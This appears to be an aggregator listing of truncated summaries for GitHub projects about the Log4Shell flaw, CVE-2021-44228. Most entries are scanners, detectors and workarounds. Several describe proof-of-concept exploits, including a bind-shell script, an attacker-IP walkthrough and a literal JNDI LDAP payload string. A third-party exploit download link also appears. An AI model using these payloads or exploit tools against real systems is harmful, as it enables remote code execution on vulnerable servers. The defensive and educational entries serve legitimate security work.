CVE-2021-44228_scanner-main-Modified-

CVE-2021-44228scanner 修正版 - 非推奨 オリジナルのスクリプトとリポジトリ: https://github.com/CERTCC/CVE-2021-44228scanner 修正者: Alex Pena log4j CVE-2021-44228 問題に対して脆弱なアプリケーションは、JndiLookup.class の存在を検索するために jar、war、ear ファイルをスキャンすることで検出できる可能性があります。 発見されたファイルはすべて、それを使用しているアプリケーションが脆弱かどうかを判断するために調査する価値があります。JndiLookup.clas...

CVE-2021-44228-Scanner

log4j2-scan は、CVE-2021-44228 の脆弱性スキャンおよび緩和パッチ適用のための単一バイナリのコマンドラインツールです。ネストされた JAR ファイルのスキャンとパッチ適用にも対応しています。また、CVE-2021-45046 log4j 2.15.0、CVE-2021-45105 log4j 2.16.0、CVE-2021-44832 log4j 2.17.0、CVE-2021-4104、CVE-2019-17571、CVE-2017-5645、CVE-2020-9488、CVE-2022-23302、CVE-2022-23305、CVE-2022-23307...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。 最近、log4j（Java のロギングライブラリで、Elasticsearch、Minecraft など非常に広く使用されています）に新たな脆弱性が見つかりました。 このリポジトリには、脆弱なサンプルアプリケーションとその Proof-Of-Concept PoC エクスプロイトが含まれています。 概念実証 PoC PoC として、プロセスを自動化する Python ファイルがあります。 必要条件: root@kitploit: pip install -r...

log4jcheck

Log4j CVE-2021-44228 チェッカー マルチスレッドで、URL のリストを POST および GET リクエストとパラメータの組み合わせでチェックします。 NortwaveSecurity 版 から強く影響を受けています。 セットアップ チェックする URL チェックする URL のリストは、次の形式（csv）である必要があります： root@kitploit: description,URL,method,parameters production,example.com/login,POST,"username,password"...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test テスト 1. LDAPサーバーとハッキングファイルダウンロードサーバー 1.1 Docker-composeの実行 docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz"...

log4j

💻 -h3x0v3rl0rd- log4j CVE-2021-44228 のエクスプロイト TryHackMe Solar ウォークスルー root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. log4j.py を実行します 必要なアプリケーションをすべてインストールし、LDAP サーバーを起動します root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2. 攻撃者の IP を Exploit.java ファイルに追加します 3...

org.shaneking.demo.cve.y2021.s44228

org.shaneking.demo.cve.y2021.s44228 CVE-2021-44228...

ansible-role-log4shell

Ansible ロール - log4shell ⭐ GitHub でスターを付けてください — それが大きな励みになります! システム上の Log4Shell CVE-2021-44228 を検出します このロールは、ファイルシステムとオープン中のファイル lsof から JAR および WAR を探し出そうとします ⚠️ スキャン中は、/ に対する と JAR/WAR 内を調べるための解凍処理により、システムの動作が遅くなる可能性があります...

log4j2-test

Log4j2 2.14.1 LDAP 远程代码执行漏洞CVE-2021-44228验证 🎈 在 Spring Boot 2.x 环境中测试 漏洞公告 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : 将 Log4j2 版本降低到存在漏洞的版本 root@kitploit: 17 2.14.1 LoggingController : 添加直接接收用户输入并进行日志记录的控制器方法 root@kitploit: @PostMapping"/form" public String formString...

Log4j_Attacker_IPList

Log4jAttackerIPList CVE-2021-44228 Log4j Attacker Ip List.xlsx...

log4j-detector

Log4-detector 취약한 Log4J 버전을 탐지하여 팀이 CVE-2021-44228 심각, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832에 대한 노출을 평가할 수 있도록 도와주는 스캐너입니다. 완전한 파일 시스템설치된 모든 애플리케이션 포함을 면밀히 조사하여 Log4J 인스턴스를 검색합니다. 여러 계층 깊이 숨겨진 Log4J 인스턴스도 찾을 수 있습니다. Linux, Windows, Mac 및 Java가 실행되는 모든 곳에서 작동합니다! 목차 소개 사용 예시 추가 사용 예시 결과...

CVE-2021-44228---detection-with-PowerShell

PowerShellによるCVE-2021-44228の検出 1 automatedscan.ps1を開き、変数$ResultsCSVと$Directoryを設定します 2 ファイルを保存して閉じます 3 管理者としてPowerShellを開き、次のコマンドを実行します: powershell.exe -noprofile -executionpolicy bypass -file .\automatedscan.ps1...

Log4j-Exploit-CVE-2021-44228

Log4j-Exploit-CVE-2021-44228 Log4Shell 脆弱性テストツール https://log4shell.tools/ Java を同梱したエクスプロイト。アカウント作成などを避けるためです.. root@kitploit: http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file root@kitploit: pip install -r requirements.txt root@kitploit: $ python3 poc.py --userip...

log4j-vulnerability

Log4Shell（CVE-2021-44228）はLog4jにおけるゼロデイ脆弱性です Log4J脆弱性 発見: 2021年11月24日 パッチ適用: 2021年12月6日 攻撃デモ 以下のYouTubeビデオをクリック サンプルアプリケーション このサンプルアプリケーションはSpring Bootアプリケーションで、ロギングフレームワークとしてlog4jを使用しており、localhostのポート8080で以下の環境変数を使用して実行されています。 ビデオ解説をチェック: https://youtu.be/bb6pgWrm7tA 環境変数...

log4j-shell-poc

log4j-shell-poc 最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。 最近、log4j に新たな脆弱性が見つかりました。log4j は Java のロギングライブラリで、elasticsearch や minecraft など、非常に広く使われています。 このリポジトリには、脆弱性のあるサンプルアプリケーションと、その Proof-of-Concept POC エクスプロイトを用意しました。 A video showing the exploitation process 脆弱性のある Web アプリ:...

CVE-2021-44228

CVE-2021-44228 分析 どのように動作するか？ 以下は、log4shell脆弱性を悪用したリモートインジェクションの詳細なプロセスです。 まず、知っておくべき3つの部分があります。 1. Log4j2は、メッセージルックアップ置換 と呼ばれる機能を使用してデータのログ記録を可能にします。これにより、ログメッセージにはさまざまなソースから動的に取得されたデータを含めることができます。（JNDIルックアップをサポート） 2. JNDIルックアップ : Java Naming and Directory Interface JNDI...

CVE-2021-44228_scanner

CVE-2021-44228 文件系统扫描器 旨在查找几乎任何目录或 zip、jar、ear、war 文件中的 JndiLookup.class，即使是深度嵌套的。 find-class-files – Clojure 实现应能在 Java 可以运行的几乎任何地方运行，前提是有足够的磁盘空间。 给定一组文件系统根目录（c:\mydir 或 /home/home/on/the/range），显示磁盘上或压缩包中的 JndiLookup.class 实例。 windowscmd – 原型 Windows 脚本是批处理文件，但它们非常慢且可能相当冗长，而且无法告诉你文件的哈希值。...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 的 PoC。 该项目仅用于教育目的。 漏洞利用服务器 该项目创建了两个服务器：http 和 ldap。两者都是利用工作所必需的。指定的 Java 文件被编译，服务器在 Dockerfile 中启动。有效载荷会展示给用户——它必须被传递给易受攻击的应用程序。 示例有效载荷： root@kitploit: $jndi:ldap//127.0.0.1:1389/a 如何运行？ 绑定 shell root@kitploit: ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind...

log4j-CVE-2021-44228-workaround

log4j-CVE-2021-44228-workaround A. ソリューションの説明 このプロジェクトは、log4j CVE-2021-44228 脆弱性に対する汎用的な回避策を提供します。これは、プロジェクトを再ビルドしたり、log4j-core の jar にパッチを適用するという代替手段を短期的に取れない場合に使用できます。 アイデアは非常にシンプルです。Java ランタイムの "-Xbootclasspath/a" オプションを使って、クラスローダーに JndiLookup クラスの「空の」バージョンを強制的にロードさせます。 したがって、この回避策全体は、この単一のクラス...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test log4j（CVE-2021-44228）脆弱性を実行する方法を示すデモプロジェクト すぐにセットアップできるようにSpring Bootを使用しました。すべてハードコーディングされている点はご容赦ください。これは単なるPOCです。 使用方法 Java 8がインストールされていること。Mavenでビルド mvn clean package -DskipTests。以下のコマンドを別々のシェルウィンドウで実行します： root@kitploit: java -jar...